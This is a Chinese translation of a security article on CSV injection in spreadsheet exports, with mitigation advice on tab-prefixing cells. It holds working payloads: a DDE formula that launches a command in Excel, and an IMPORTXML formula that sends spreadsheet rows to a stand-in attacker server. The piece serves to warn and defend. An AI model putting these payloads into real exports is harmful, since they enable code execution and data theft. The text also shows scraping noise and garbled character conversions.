[译]CSV 注入:被人低估的巨大风险

CSV 注入:被人低估的巨大风险

最近我在记录本地用户近期的电费时发现这个问题,有人叫我把它写出来。php

在某些方面上看来这是个旧新闻,可是从其余的角度看。嗯,我认为不多人意识到这个问题有有多强的破坏力,而且它能形成多大范围的损害。对于将用户的输入结果和容许管理员大批量的把信息导出到 CSV 文件的应用来讲,都存在着一个有效的攻击方向。html

对于每一个应用都有效。前端

修订: 值得称赞的是,这些文章指出了这个问题 一位安全专家 2014 年的文章,里面探讨了一部分攻击方向另一篇react

如今咱们开始正题吧 —— 设想咱们有个记录时间或者票据的应用。用户们能够输入本身的时间(或者票据)到应用中,可是不能查看其余用户这部分的信息。而后网站管理员把这些输入信息导出到一个 CSV 文件,用一个电子表格应用打开它。看起来很正常。android

攻击方向 1

咱们都知道 CSV 文件是什么。其特征很简单,导出来的 CSV 文件看起来像是这样的ios

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240复制代码

够简单。里面没有什么危险的东西。连 RFC 也这样描述:git

CSV 文件里包含的文本应该不会有任何风险。github

即便从定义上看,它也应该是安全的。web

等下,让咱们来试一试将 CSV 文件修改成下面内容编程

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240复制代码

在 Excel 里计算表达式
在 Excel 里计算表达式
在 Google Sheets 里计算公式
在 Google Sheets 里计算公式

打开自 Excel(左边)和 Google Sheets(右边)。

嗯。这很奇怪。虽然单元格的内容在引号内,但因为第一个字符是 =,它以一个表达式的形式被处理。实际上 —— 至少是在 Excel 里 —— 包括 =-+@ 这样的符号都会触发这种行为,结果管理员发现数据的格式不正确,并所以而花大量的时间来查找缘由(正是 Excel 的这个现象引发了个人注意力)。这很奇怪,但不是很危险,不是吗?

再等一下,表达式就是能够执行的代码。因此用户能够执行代码 —— 虽然只是表达式代码 —— 执行在管理员的机器上,而这台机器里有权限接触用户数据。

若是咱们把 CSV 文件改为这样会有什么结果?(注意最后一行的 Description 列)

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240复制代码

若是咱们用 Excel 打开会有什么结果?

计算器会打开!
计算器会打开!

额滴神啊!

没错,系统的计算器打开了。

公平的说,在此以前的确有出现过一个警告。只是这警告是一大块文字,没人想要读它。即便有人想读,它也会明确建议:

只有当你信任这个 workbook 的数据时才点击肯定

你想知道为何会这样吗?这是一个应用的导出文件,是给管理员用的。他们固然信任这些数据!

若是他们的技术很好呢?那么更糟糕。他们知道 CSV 格式只是文本数据,所以不可能形成任何伤害。他们十分确信这一点。

就像这样,攻击者有无限制的权力在别人的电脑上下载键盘记录,安装东西,彻底远程地执行代码,并且这台电脑若是属于一个经理或者一间公司的管理员的话,还可能有权限接触全部用户的数据。我想知道在这台电脑里面还有别的文件能够窃取吗?

攻击方向 2

好吧,以上的主要内容挺简短,可是毕竟这是个(相对)有名的漏洞。做为一个安全专家,可能你已经警告了全部的管理员谨慎使用 Excel,或者会考虑使用 Google Sheets 来代替它。毕竟,Sheets 不会被宏影响,不是吗?

这彻底正确。因此咱们收回“运行任何东西”的野心上,并把注意力放在仅仅是盗取数据上。毕竟,这里的前提是攻击者是一个普通的用户,他只能接触本身输入在系统上的数据。而一个管理员有权力看到每一个用户的数据,咱们有什么办法能够利用这一点吗?

好好回想一下,咱们虽然不能在 Google Sheets 里运行宏,可是咱们彻底能够运行表达式。而且表达式不只仅限制于简单的算术。实际上,我想问下在公式中是否有可用的 Google Sheets 命令能让咱们把数据传输到其余地方?答案是有的,有不少的方法能够作到这一点。咱们先关注其中的一个方法IMPORTXML

IMPORTXML(url, xpath_query)

当运行这个命令时,它会对上面的 url 发出一条 HTTP GET 请求,而后尝试解析并把返回数据插入到咱们的电子表格。你是否是有一点想法了?

若是咱们的 CSV 文件有如下内容:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240复制代码

攻击者以符号 = 做为单元格的开头,而后把 IMPORTXML 的地址指向了一个攻击者的服务器,并把电子表格的数据做为查询字符串附在该地址上。如今攻击者能够打开他们的服务器日志而后 yoooooo。终于拿到了不属于他们的数据。在 Requestb.in 上本身试一试

有什么踪影会留下来吗?没有警告,没有弹框,没有任何理由认为有出现过什么问题。攻击者只是输入了一个格式过的时间/问题/其余数据的条目,最终管理员当要看导出的 CSV 文件时,全部限制访问的数据都会瞬间,并悄悄地传输出去了。

等一下,咱们能作得更过度

表达式式是运行在管理员的浏览器上的,这里面有管理员的用户帐号和安全信息。而且 Google Sheets 并非只能操做当前电子表格的数据,实际上它能够从 其余电子表格 拿数据,只要用户有接触过这些表格就行。而攻击者只须要知道其余表格的 id。这些信息一般不是什么秘密,它出如今电子表格的 url 上,一般会意外地发现电子邮件上有这些信息,或者发布在公司内部的文档上,经过 Google 的安全策略来确保只有受权用户才能够接触这些数据。

因此说,不只是你的导出结果/问题/其余数据能够溜出去。你的管理员有分别接触过客户列表或者工资信息的电子表格?那么这些信息可能也能够搞出去!一切尽在不言中,没有人会知道发生过这些事。一颗赛艇!

固然一样的诡计也能够完美地运行在 Excel 上。实际上,Excel 在这方面上简直是楷模 警方曾经利用过这个漏洞来追踪罪犯

但事情不必定会这样发展。

我展现这些信息给了大量的安全研究员看,他们指出了犯罪者的各类恶做剧。例如犯罪者在他们各自的通信中植入了信息,这些信息是他们服务器的信标。这样一来,若是研究员秘密地查看他们在电子表格上的通信信息,那么这个信标就会熄灭,这样犯罪者就能够有效地逃避想要窃听他们的人。

这很不理想。

预防

因此这一切究竟是谁的错?

固然这不是 CSV 格式的错。格式自己不会自动地执行“像一条公式”的东西,这不是本来就有的用法。这个 bug 依赖于经常使用的电子表格程序,是程序在实际地作错事。固然 Google Sheets 必须和 Excel 的功能保持一致,而 Excel 必须支持已存在的数百万个复杂的电子表格。另外 —— 我不会研究这件事 —— 但 有充分理由相信 Excel 的行为来自于古代的 Lotus 1-2-3 的奇怪处理。目前来讲让全部的电子表格程序改变这一行为是一大困难。我想应该把注意力转为改变每一个人上。

我曾向 Google 报道他们的电子表格程序有漏洞。他们认可了,可是声称已经意识到了这个问题。虽然我确信他们明白这是一个漏洞,但他们给我一个明显的感受:他们并无真正考虑到在实践中可能会被滥用的状况。 至少在 CSV 导入并即将生成外部请求时,Google Sheets 应该发出一个警告。

可是把这件事的责任推在应用程序的开发者上也不是很实际。毕竟,大部分的开发人员没有理由在一个简单的业务应用里写了导出功能后,还会怀疑会出现这个问题。实际上,即便他们阅读该死的 RFC 也仍然不会有任何线索来发现这个问题。

那么你怎么预防这件事呢?

好吧,尽管 StackOverflow 和其余的网站提供了丰富的建议,但我发现只有一个(不在文档内的)方法可使用在任意的电子表格程序上:

对于任何以表达式触发字符 =-+或者 @ 开头的单元格,您应该直接使用 tab 字符做为前缀。注意,若是单元格里的内容有引号,那么这个字符要在引号

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client," =2+5", 240复制代码

这很奇怪,可是起做用了,同时 tab 字符不会显示在 Excel 和 Google Sheets 上。因此这就是我想要的吗?

不幸的是,这个故事还没完。这个字符虽然不会显示,可是仍然存在。用 =LEN(D4) 来快速测一下字符串的长度就能够确认这一事实。所以,在单元格的值只用来显示,而不会被程序所使用的前提下,这是一个可接受的方案。。更进一步,有趣的是这个字符会形成奇怪的不一致。CSV 格式用在应用程序之间的信息交流上。这意味着从一个应用程序导出的转义单元格的数据将会被另外一个应用程序导入并做为数据的一部分。

最终咱们得出一个糟糕的结论,当生成 CSV 导出文件时,你必须知道这导出文件是用来作什么的

  • 若是是为了在电子表格程序中计算时的可以看到这些数据,则应使用 tab 来转义。实际上这更重要,由于您不但愿在导出到电子表格时字符串是“-2 + 3”时出现的结果为“1”,这让人感受就像是用编程语言解析的结果。
  • 若是它被用做系统间的数据交流,那么不要转义任何东西。
  • 若是您不知道会发生什么事情,或者是要在电子表格应用程序中使用,或者随后这个电子表格将被用做软件的导入源,放弃吧,只能祈祷不会发生什么事情了(或者,老是在使用 Excel 时断开网络链接,并在工做时遵循全部的安全提示)(修订:这并不是 100% 安全,由于攻击者仍然可使用宏,让本身的二进制文件来覆盖已知的文件。去他的。)。

这是一场恶梦,人们能够利用这个漏洞作些邪恶的事情,并所以而形成损失,并且尚未明确的解决方案。这个漏洞应该要让更多更多的人知道。


掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 AndroidiOSReact前端后端产品设计 等领域,想要查看更多优质译文请持续关注 掘金翻译计划官方微博知乎专栏

相关文章
相关标签/搜索